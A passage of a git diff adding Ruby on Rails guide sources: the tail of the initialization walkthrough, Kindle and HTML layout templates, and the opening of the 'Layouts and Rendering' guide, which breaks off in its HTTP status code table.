super + set_environment +end +``` + +Firstly, `super` is called which calls the `initialize` method on `Rack::Server`. + +### Rack: `lib/rack/server.rb` + +`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of. + +The `initialize` method in `Rack::Server` simply sets a couple of variables: + +```ruby +def initialize(options = nil) + @options = options + @app = options[:app] if options && options[:app] +end +``` + +In this case, `options` will be `nil` so nothing happens in this method. + +After `super` has finished in `Rack::Server`, we jump back to +`rails/commands/server/server_command.rb`. At this point, `set_environment` +is called within the context of the `Rails::Server` object and this method +doesn't appear to do much at first glance: + +```ruby +def set_environment + ENV["RAILS_ENV"] ||= options[:environment] +end +``` + +In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this: + +```ruby +def options + @options ||= parse_options(ARGV) +end +``` + +Then `parse_options` is defined like this: + +```ruby +def parse_options(args) + options = default_options + + # Don't evaluate CGI ISINDEX parameters. + # http://www.meb.uni-bonn.de/docs/cgi/cl.html + args.clear if ENV.include?("REQUEST_METHOD") + + options.merge! opt_parser.parse!(args) + options[:config] = ::File.expand_path(options[:config]) + ENV["RACK_ENV"] = options[:environment] + options +end +``` + +With the `default_options` set to this: + +```ruby +def default_options + super.merge( + Port: ENV.fetch("PORT", 3000).to_i, + Host: ENV.fetch("HOST", "localhost").dup, + DoNotReverseLookup: true, + environment: (ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development").dup, + daemonize: false, + caching: nil, + pid: Options::DEFAULT_PID_PATH, + restart_cmd: restart_command) +end +``` + +There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`: + +```ruby +def opt_parser + Options.new +end +``` + +The class **is** defined in `Rack::Server`, but is overwritten in +`Rails::Server` to take different arguments. Its `parse!` method looks +like this: + +```ruby +def parse!(args) + args, options = args.dup, {} + + option_parser(options).parse! args + + options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development" + options[:server] = args.shift + options +end +``` + +This method will set up keys for the `options` which Rails will then be +able to use to determine how its server should run. After `initialize` +has finished, we jump back into the server command where `APP_PATH` (which was +set earlier) is required. + +### `config/application` + +When `require APP_PATH` is executed, `config/application.rb` is loaded (recall +that `APP_PATH` is defined in `bin/rails`). This file exists in your application +and it's free for you to change based on your needs. + +### `Rails::Server#start` + +After `config/application` is loaded, `server.start` is called. This method is +defined like this: + +```ruby +def start + print_boot_information + trap(:INT) { exit } + create_tmp_directories + setup_dev_caching + log_to_stdout if options[:log_stdout] + + super + ... +end + +private + def print_boot_information + ... + puts "=> Run `rails server -h` for more startup options" + end + + def create_tmp_directories + %w(cache pids sockets).each do |dir_to_make| + FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make)) + end + end + + def setup_dev_caching + if options[:environment] == "development" + Rails::DevCaching.enable_by_argument(options[:caching]) + end + end + + def log_to_stdout + wrapped_app # touch the app so the logger is set up + + console = ActiveSupport::Logger.new(STDOUT) + console.formatter = Rails.logger.formatter + console.level = Rails.logger.level + + unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT) + Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) + end + end +``` + +This is where the first output of the Rails initialization happens. This method +creates a trap for `INT` signals, so if you `CTRL-C` the server, it will exit the +process. As we can see from the code here, it will create the `tmp/cache`, +`tmp/pids`, and `tmp/sockets` directories. It then enables caching in development +if `rails server` is called with `--dev-caching`. Finally, it calls `wrapped_app` which is +responsible for creating the Rack app, before creating and assigning an instance +of `ActiveSupport::Logger`. + +The `super` method will call `Rack::Server.start` which begins its definition like this: + +```ruby +def start &blk + if options[:warn] + $-w = true + end + + if includes = options[:include] + $LOAD_PATH.unshift(*includes) + end + + if library = options[:require] + require library + end + + if options[:debug] + $DEBUG = true + require 'pp' + p options[:server] + pp wrapped_app + pp app + end + + check_pid! if options[:pid] + + # Touch the wrapped app, so that the config.ru is loaded before + # daemonization (i.e. before chdir, etc). + wrapped_app + + daemonize_app if options[:daemonize] + + write_pid if options[:pid] + + trap(:INT) do + if server.respond_to?(:shutdown) + server.shutdown + else + exit + end + end + + server.run wrapped_app, options, &blk +end +``` + +The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time +we're going to explore more (even though it was executed before, and +thus memoized by now). + +```ruby +@wrapped_app ||= build_app app +``` + +The `app` method here is defined like so: + +```ruby +def app + @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config +end +... +private + def build_app_and_options_from_config + if !::File.exist? options[:config] + abort "configuration #{options[:config]} not found" + end + + app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) + self.options.merge! options + app + end + + def build_app_from_string + Rack::Builder.new_from_string(self.options[:builder]) + end +``` + +The `options[:config]` value defaults to `config.ru` which contains this: + +```ruby +# This file is used by Rack-based servers to start the application. + +require_relative 'config/environment' +run <%= app_const %> +``` + + +The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code: + +```ruby +app = new_from_string cfgfile, config + +... + +def self.new_from_string(builder_script, file="(rackup)") + eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app", + TOPLEVEL_BINDING, file, 0 +end +``` + +The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run: + +```ruby +require_relative 'config/environment' +``` + +### `config/environment.rb` + +This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup. + +This file begins with requiring `config/application.rb`: + +```ruby +require_relative 'application' +``` + +### `config/application.rb` + +This file requires `config/boot.rb`: + +```ruby +require_relative 'boot' +``` + +But only if it hasn't been required before, which would be the case in `rails server` +but **wouldn't** be the case with Passenger. + +Then the fun begins! + +Loading Rails +------------- + +The next line in `config/application.rb` is: + +```ruby +require 'rails/all' +``` + +### `railties/lib/rails/all.rb` + +This file is responsible for requiring all the individual frameworks of Rails: + +```ruby +require "rails" + +%w( + active_record/railtie + active_storage/engine + action_controller/railtie + action_view/railtie + action_mailer/railtie + active_job/railtie + action_cable/engine + rails/test_unit/railtie + sprockets/railtie +).each do |railtie| + begin + require railtie + rescue LoadError + end +end +``` + +This is where all the Rails frameworks are loaded and thus made +available to the application. We won't go into detail of what happens +inside each of those frameworks, but you're encouraged to try and +explore them on your own. + +For now, just keep in mind that common functionality like Rails engines, +I18n and Rails configuration are all being defined here. + +### Back to `config/environment.rb` + +The rest of `config/application.rb` defines the configuration for the +`Rails::Application` which will be used once the application is fully +initialized. When `config/application.rb` has finished loading Rails and defined +the application namespace, we go back to `config/environment.rb`. Here, the +application is initialized with `Rails.application.initialize!`, which is +defined in `rails/application.rb`. + +### `railties/lib/rails/application.rb` + +The `initialize!` method looks like this: + +```ruby +def initialize!(group=:default) #:nodoc: + raise "Application has been already initialized." if @initialized + run_initializers(group, self) + @initialized = true + self +end +``` + +As you can see, you can only initialize an app once. The initializers are run through +the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`: + +```ruby +def run_initializers(group=:default, *args) + return if instance_variable_defined?(:@ran) + initializers.tsort_each do |initializer| + initializer.run(*args) if initializer.belongs_to?(group) + end + @ran = true +end +``` + +The `run_initializers` code itself is tricky. What Rails is doing here is +traversing all the class ancestors looking for those that respond to an +`initializers` method. It then sorts the ancestors by name, and runs them. +For example, the `Engine` class will make all the engines available by +providing an `initializers` method on them. + +The `Rails::Application` class, as defined in `railties/lib/rails/application.rb` +defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers +prepare the application (like initializing the logger) while the `finisher` +initializers (like building the middleware stack) are run last. The `railtie` +initializers are the initializers which have been defined on the `Rails::Application` +itself and are run between the `bootstrap` and `finishers`. + +After this is done we go back to `Rack::Server`. + +### Rack: lib/rack/server.rb + +Last time we left when the `app` method was being defined: + +```ruby +def app + @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config +end +... +private + def build_app_and_options_from_config + if !::File.exist? options[:config] + abort "configuration #{options[:config]} not found" + end + + app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) + self.options.merge! options + app + end + + def build_app_from_string + Rack::Builder.new_from_string(self.options[:builder]) + end +``` + +At this point `app` is the Rails app itself (a middleware), and what +happens next is Rack will call all the provided middlewares: + +```ruby +def build_app(app) + middleware[options[:environment]].reverse_each do |middleware| + middleware = middleware.call(self) if middleware.respond_to?(:call) + next unless middleware + klass = middleware.shift + app = klass.new(app, *middleware) + end + app +end +``` + +Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`. +Here's how it looked like when we left: + +```ruby +server.run wrapped_app, options, &blk +``` + +At this point, the implementation of `server.run` will depend on the +server you're using. For example, if you were using Puma, here's what +the `run` method would look like: + +```ruby +... +DEFAULT_OPTIONS = { + :Host => '0.0.0.0', + :Port => 8080, + :Threads => '0:16', + :Verbose => false +} + +def self.run(app, options = {}) + options = DEFAULT_OPTIONS.merge(options) + + if options[:Verbose] + app = Rack::CommonLogger.new(app, STDOUT) + end + + if options[:environment] + ENV['RACK_ENV'] = options[:environment].to_s + end + + server = ::Puma::Server.new(app) + min, max = options[:Threads].split(':', 2) + + puts "Puma #{::Puma::Const::PUMA_VERSION} starting..." + puts "* Min threads: #{min}, max threads: #{max}" + puts "* Environment: #{ENV['RACK_ENV']}" + puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}" + + server.add_tcp_listener options[:Host], options[:Port] + server.min_threads = min + server.max_threads = max + yield server if block_given? + + begin + server.run.join + rescue Interrupt + puts "* Gracefully stopping, waiting for requests to finish" + server.stop(true) + puts "* Goodbye!" + end + +end +``` + +We won't dig into the server configuration itself, but this is +the last piece of our journey in the Rails initialization process. + +This high level overview will help you understand when your code is +executed and how, and overall become a better Rails developer. If you +still want to know more, the Rails source code itself is probably the +best place to go next. diff --git a/guides/source/kindle/copyright.html.erb b/guides/source/kindle/copyright.html.erb new file mode 100644 index 0000000000..bd51d87383 --- /dev/null +++ b/guides/source/kindle/copyright.html.erb @@ -0,0 +1 @@ +<%= render 'license' %>
\ No newline at end of file diff --git a/guides/source/kindle/layout.html.erb b/guides/source/kindle/layout.html.erb new file mode 100644 index 0000000000..fd8746776b --- /dev/null +++ b/guides/source/kindle/layout.html.erb @@ -0,0 +1,27 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> + +<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> + +<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> + +<link rel="stylesheet" type="text/css" href="stylesheets/kindle.css" /> + +</head> +<body class="guide"> + + <% if content_for? :header_section %> + <%= yield :header_section %> + <div class="pagebreak"></div> + <% end %> + + <% if content_for? :index_section %> + <%= yield :index_section %> + <div class="pagebreak"></div> + <% end %> + + <%= yield.html_safe %> +</body> +</html> diff --git a/guides/source/kindle/rails_guides.opf.erb b/guides/source/kindle/rails_guides.opf.erb new file mode 100644 index 0000000000..1882ec1005 --- /dev/null +++ b/guides/source/kindle/rails_guides.opf.erb @@ -0,0 +1,51 @@ +<?xml version="1.0" encoding="utf-8"?> + +<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="RailsGuides"> +<metadata> + <meta name="cover" content="cover" /> + <dc-metadata xmlns:dc="http://purl.org/dc/elements/1.1/"> + + <dc:title>Ruby on Rails Guides (<%= @version || "master@#{@edge[0, 7]}" %>)</dc:title> + + <dc:language>en-us</dc:language> + <dc:creator>Ruby on Rails</dc:creator> + <dc:publisher>Ruby on Rails</dc:publisher> + <dc:subject>Reference</dc:subject> + <dc:date><%= Time.now.strftime('%Y-%m-%d') %></dc:date> + + <dc:description>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.</dc:description> + </dc-metadata> + <x-metadata> + <output content-type="application/x-mobipocket-subscription-magazine" encoding="utf-8"/> + </x-metadata> +</metadata> + +<manifest> + <!-- HTML content files [mandatory] --> + <% documents_flat.each do |document| %> + <item id="<%= document['url'] %>" media-type="text/html" href="<%= document['url'] %>" /> + <% end %> + + <% %w{toc.html welcome.html copyright.html}.each do |url| %> + <item id="<%= url %>" media-type="text/html" href="<%= url %>" /> + <% end %> + + <item id="toc" media-type="application/x-dtbncx+xml" href="toc.ncx" /> + + <item id="cover" media-type="image/jpg" href="images/rails_guides_kindle_cover.jpg"/> +</manifest> + +<spine toc="toc"> + <itemref idref="toc.html" /> + <itemref idref="welcome.html" /> + <itemref idref="copyright.html" /> + <% documents_flat.each do |document| %> + <itemref idref="<%= document['url'] %>" /> + <% end %> +</spine> + +<guide> + <reference type="toc" title="Table of Contents" href="toc.html"></reference> +</guide> + +</package> diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb new file mode 100644 index 0000000000..b77ac2e99d --- /dev/null +++ b/guides/source/kindle/toc.html.erb @@ -0,0 +1,23 @@ +<% content_for :page_title do %> +Ruby on Rails Guides +<% end %> + +<h1>Table of Contents</h1> +<div id="toc"> + <ul><li><a href="welcome.html">Welcome</a></li></ul> +<% documents_by_section.each_with_index do |section, i| %> + <h3><%= "#{i + 1}." %> <%= section['name'] %></h3> + <ul> + <% section['documents'].each do |document| %> + <li> + <a href="<%= document['url'] %>"><%= document['name'] %></a> + <% if document['work_in_progress']%>(WIP)<% end %> + </li> + <% end %> + </ul> +<% end %> +<hr /> +<ul> + <li><a href="copyright.html">Copyright & License</a></li> +</ul> +</div> diff --git a/guides/source/kindle/toc.ncx.erb b/guides/source/kindle/toc.ncx.erb new file mode 100644 index 0000000000..9b73bc9bea --- /dev/null +++ b/guides/source/kindle/toc.ncx.erb @@ -0,0 +1,60 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE ncx PUBLIC "-//NISO//DTD ncx 2005-1//EN" + "http://www.daisy.org/z3986/2005/ncx-2005-1.dtd"> + +<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1" xml:lang="en-US"> +<head> + <meta name="dtb:uid" content="RailsGuides"/> + <meta name="dtb:depth" content="2"/> + <meta name="dtb:totalPageCount" content="0"/> + <meta name="dtb:maxPageNumber" content="0"/> +</head> +<docTitle><text>Ruby on Rails Guides</text></docTitle> +<docAuthor><text>docrails</text></docAuthor> +<navMap> + <navPoint playOrder="0" class="periodical" id="periodical"> + <navLabel> + <text>Table of Contents</text> + </navLabel> + <content src="toc.html"/> + + <navPoint class="section" id="welcome" playOrder="1"> + <navLabel> + <text>Introduction</text> + </navLabel> + <content src="welcome.html"/> + + <navPoint class="article" id="welcome" playOrder="2"> + <navLabel> + <text>Welcome</text> + </navLabel> + <content src="welcome.html"/> + </navPoint> + <navPoint class="article" id="copyright" playOrder="4"> + <navLabel><text>Copyright & License</text></navLabel> + <content src="copyright.html"/> + </navPoint> + </navPoint> + + <% play_order = 4 %> + <% documents_by_section.each_with_index do |section, section_no| %> + <navPoint class="section" id="chapter_<%= section_no + 1 %>" playOrder="<% play_order +=1 %>"> + <navLabel> + <text><%= section['name'] %></text> + </navLabel> + <content src="<%=section['documents'].first['url'] %>"/> + + <% section['documents'].each_with_index do |document, document_no| %> + <navPoint class="article" id="_<%=section_no+1%>.<%=document_no+1%>" playOrder="<%=play_order +=1 %>"> + <navLabel> + <text><%= document['name'] %></text> + </navLabel> + <content src="<%=document['url'] %>"/> + </navPoint> + <% end %> + </navPoint> + <% end %> + + </navPoint> +</navMap> +</ncx> diff --git a/guides/source/kindle/welcome.html.erb b/guides/source/kindle/welcome.html.erb new file mode 100644 index 0000000000..ef3397f58f --- /dev/null +++ b/guides/source/kindle/welcome.html.erb @@ -0,0 +1,7 @@ +<%= render 'welcome' %> + +<h3>Kindle Edition</h3> + +<div> + The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions. +</div> diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb new file mode 100644 index 0000000000..1f42d72756 --- /dev/null +++ b/guides/source/layout.html.erb @@ -0,0 +1,125 @@ +<!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> + <link rel="stylesheet" type="text/css" href="stylesheets/style.css" data-turbolinks-track="reload"> + <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print"> + <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" data-turbolinks-track="reload"> + <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" data-turbolinks-track="reload"> + <link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" data-turbolinks-track="reload"> + <link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" /> + <script src="javascripts/syntaxhighlighter.js" data-turbolinks-track="reload"></script> + <script src="javascripts/turbolinks.js" data-turbolinks-track="reload"></script> + <script src="javascripts/guides.js" data-turbolinks-track="reload"></script> + <script src="javascripts/responsive-tables.js" data-turbolinks-track="reload"></script> +</head> +<body class="guide"> + <% if @edge %> + <div> + <img src="images/edge_badge.png" alt="edge-badge" id="edge-badge" /> + </div> + <% end %> + <div id="topNav"> + <div class="wrapper"> + <strong class="more-info-label">More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong> + <span class="red-button more-info-button"> + More Ruby on Rails + </span> + <ul class="more-info-links s-hidden"> + <li class="more-info"><a href="https://weblog.rubyonrails.org/">Blog</a></li> + <li class="more-info"><a href="https://guides.rubyonrails.org/">Guides</a></li> + <li class="more-info"><a href="http://api.rubyonrails.org/">API</a></li> + <li class="more-info"><a href="https://stackoverflow.com/questions/tagged/ruby-on-rails">Ask for help</a></li> + <li class="more-info"><a href="https://github.com/rails/rails">Contribute on GitHub</a></li> + </ul> + </div> + </div> + <div id="header"> + <div class="wrapper clearfix"> + <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1> + <ul class="nav"> + <li><a class="nav-item" href="index.html">Home</a></li> + <li class="guides-index guides-index-large"> + <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a> + <div id="guides" class="clearfix" style="display: none;"> + <hr /> + <div class="guides-section-container"> + <% documents_by_section.each do |section| %> + <div class="guides-section"> + <dt><%= section['name'] %></dt> + <% finished_documents(section['documents']).each do |document| %> + <dd><a href="<%= document['url'] %>"><%= document['name'] %></a></dd> + <% end %> + </div> + <% end %> + </div> + </div> + </li> + <li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li> + <li class="guides-index guides-index-small"> + <select class="guides-index-item nav-item"> + <option value="index.html">Guides Index</option> + <% docs_for_menu.each do |section| %> + <optgroup label="<%= section['name'] %>"> + <% finished_documents(section['documents']).each do |document| %> + <option value="<%= document['url'] %>"><%= document['name'] %></option> + <% end %> + </optgroup> + <% end %> + </select> + </li> + </ul> + </div> + </div> + <hr class="hide" /> + + <div id="feature"> + <div class="wrapper"> + <%= yield :header_section %> + + <%= yield :index_section %> + </div> + </div> + + <div id="container"> + <div class="wrapper"> + <div id="mainCol"> + <%= yield %> + + <h3>Feedback</h3> + <p> + You're encouraged to help improve the quality of this guide. + </p> + <p> + Please contribute if you see any typos or factual errors. + To get started, you can read our <%= link_to 'documentation contributions', 'https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section. + </p> + <p> + You may also find incomplete content or stuff that is not up to date. + Please do add any missing documentation for master. Make sure to check + <%= link_to 'Edge Guides', 'https://edgeguides.rubyonrails.org' %> first to verify + if the issues are already fixed or not on the master branch. + Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> + for style and conventions. + </p> + <p> + If for whatever reason you spot something to fix but cannot patch it yourself, please + <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>. + </p> + <p>And last but not least, any kind of discussion regarding Ruby on Rails + documentation is very welcome on the <%= link_to 'rubyonrails-docs mailing list', 'https://groups.google.com/forum/#!forum/rubyonrails-docs' %>. + </p> + </div> + </div> + </div> + + <hr class="hide" /> + <div id="footer"> + <div class="wrapper"> + <%= render 'license' %> + </div> + </div> +</body> +</html> diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md new file mode 100644 index 0000000000..ad08e5a5a9 --- /dev/null +++ b/guides/source/layouts_and_rendering.md @@ -0,0 +1,1332 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Layouts and Rendering in Rails +============================== + +This guide covers the basic layout features of Action Controller and Action View. + +After reading this guide, you will know: + +* How to use the various rendering methods built into Rails. +* How to create layouts with multiple content sections. +* How to use partials to DRY up your views. +* How to use nested layouts (sub-templates). + +-------------------------------------------------------------------------------- + +Overview: How the Pieces Fit Together +------------------------------------- + +This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide. + +In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide. + +Creating Responses +------------------ + +From the controller's point of view, there are three ways to create an HTTP response: + +* Call `render` to create a full response to send back to the browser +* Call `redirect_to` to send an HTTP redirect status code to the browser +* Call `head` to create a response consisting solely of HTTP headers to send back to the browser + +### Rendering by Default: Convention Over Configuration in Action + +You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class: + +```ruby +class BooksController < ApplicationController +end +``` + +And the following in your routes file: + +```ruby +resources :books +``` + +And you have a view file `app/views/books/index.html.erb`: + +```html+erb +<h1>Books are coming soon!</h1> +``` + +Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen. + +However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`: + +```ruby +class BooksController < ApplicationController + def index + @books = Book.all + end +end +``` + +Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file. + +If we want to display the properties of all the books in our view, we can do so with an ERB template like this: + +```html+erb +<h1>Listing Books</h1> + +<table> + <thead> + <tr> + <th>Title</th> + <th>Content</th> + <th colspan="3"></th> + </tr> + </thead> + + <tbody> + <% @books.each do |book| %> + <tr> + <td><%= book.title %></td> + <td><%= book.content %></td> + <td><%= link_to "Show", book %></td> + <td><%= link_to "Edit", edit_book_path(book) %></td> + <td><%= link_to "Destroy", book, method: :delete, data: { confirm: "Are you sure?" } %></td> + </tr> + <% end %> + </tbody> +</table> + +<br> + +<%= link_to "New book", new_book_path %> +``` + +NOTE: The actual rendering is done by nested classes of the module [`ActionView::Template::Handlers`](http://api.rubyonrails.org/classes/ActionView/Template/Handlers.html). This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. + +### Using `render` + +In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. + +TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser. + +#### Rendering an Action's View + +If you want to render the view that corresponds to a different template within the same controller, you can use `render` with the name of the view: + +```ruby +def update + @book = Book.find(params[:id]) + if @book.update(book_params) + redirect_to(@book) + else + render "edit" + end +end +``` + +If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller. + +If you prefer, you can use a symbol instead of a string to specify the action to render: + +```ruby +def update + @book = Book.find(params[:id]) + if @book.update(book_params) + redirect_to(@book) + else + render :edit + end +end +``` + +#### Rendering an Action's Template from Another Controller + +What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way: + +```ruby +render "products/show" +``` + +Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier): + +```ruby +render template: "products/show" +``` + +#### Rendering an Arbitrary File + +The `render` method can also use a view that's entirely outside of your application: + +```ruby +render file: "/u/apps/warehouse_app/current/app/views/products/show" +``` + +The `:file` option takes an absolute file-system path. Of course, you need to have rights +to the view that you're using to render the content. + +NOTE: Using the `:file` option in combination with users input can lead to security problems +since an attacker could use this action to access security sensitive files in your file system. + +NOTE: By default, the file is rendered using the current layout. + +TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to +render a file, because Windows filenames do not have the same format as Unix filenames. + +#### Wrapping it up + +The above three ways of rendering (rendering another template within the controller, rendering a template within another controller, and rendering an arbitrary file on the file system) are actually variants of the same action. + +In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory: + +```ruby +render :edit +render action: :edit +render "edit" +render "edit.html.erb" +render action: "edit" +render action: "edit.html.erb" +render "books/edit" +render "books/edit.html.erb" +render template: "books/edit" +render template: "books/edit.html.erb" +render "/path/to/rails/app/views/books/edit" +render "/path/to/rails/app/views/books/edit.html.erb" +render file: "/path/to/rails/app/views/books/edit" +render file: "/path/to/rails/app/views/books/edit.html.erb" +``` + +Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing. + +#### Using `render` with `:inline` + +The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid: + +```ruby +render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>" +``` + +WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead. + +By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option: + +```ruby +render inline: "xml.p {'Horrid coding practice!'}", type: :builder +``` + +#### Rendering Text + +You can send plain text - with no markup at all - back to the browser by using +the `:plain` option to `render`: + +```ruby +render plain: "OK" +``` + +TIP: Rendering pure text is most useful when you're responding to Ajax or web +service requests that are expecting something other than proper HTML. + +NOTE: By default, if you use the `:plain` option, the text is rendered without +using the current layout. If you want Rails to put the text into the current +layout, you need to add the `layout: true` option and use the `.text.erb` +extension for the layout file. + +#### Rendering HTML + +You can send an HTML string back to the browser by using the `:html` option to +`render`: + +```ruby +render html: helpers.tag.strong('Not Found') +``` + +TIP: This is useful when you're rendering a small snippet of HTML code. +However, you might want to consider moving it to a template file if the markup +is complex. + +NOTE: When using `html:` option, HTML entities will be escaped if the string is not composed with `html_safe`-aware APIs. + +#### Rendering JSON + +JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser: + +```ruby +render json: @product +``` + +TIP: You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you. + +#### Rendering XML + +Rails also has built-in support for converting objects to XML and rendering that XML back to the caller: + +```ruby +render xml: @product +``` + +TIP: You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you. + +#### Rendering Vanilla JavaScript + +Rails can render vanilla JavaScript: + +```ruby +render js: "alert('Hello Rails');" +``` + +This will send the supplied string to the browser with a MIME type of `text/javascript`. + +#### Rendering raw body + +You can send a raw content back to the browser, without setting any content +type, by using the `:body` option to `render`: + +```ruby +render body: "raw" +``` + +TIP: This option should be used only if you don't care about the content type of +the response. Using `:plain` or `:html` might be more appropriate most of the +time. + +NOTE: Unless overridden, your response returned from this render option will be +`text/plain`, as that is the default content type of Action Dispatch response. + +#### Options for `render` + +Calls to the `render` method generally accept five options: + +* `:content_type` +* `:layout` +* `:location` +* `:status` +* `:formats` + +##### The `:content_type` Option + +By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option: + +```ruby +render file: filename, content_type: "application/rss" +``` + +##### The `:layout` Option + +With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. + +You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action: + +```ruby +render layout: "special_layout" +``` + +You can also tell Rails to render with no layout at all: + +```ruby +render layout: false +``` + +##### The `:location` Option + +You can use the `:location` option to set the HTTP `Location` header: + +```ruby +render xml: photo, location: photo_url(photo) +``` + +##### The `:status` Option + +Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this: + +```ruby +render status: 500 +render status: :forbidden +``` + +Rails understands both numeric status codes and the corresponding symbols shown below. + +| Response Class | HTTP Status Code | Symbol | +| ------------------- | ---------------- | -------------------------------- | +| **Informational** | 100 | :continue | +| | 101 | :switching_protocols | +| | 102 | :processing | +| **Success** | 200 | :ok | +| | 201 | :created | +| | 202 | :accepted | +| | 203 | :non_authoritative_information | +| | 204 | :no_content | +| | 205 | :reset_content | +| | 206 | :partial_content | +| | 207 | :multi_status | +| | 208 | :already_reported | +| | 226 | :im_used | +| **Redirection** | 300 | 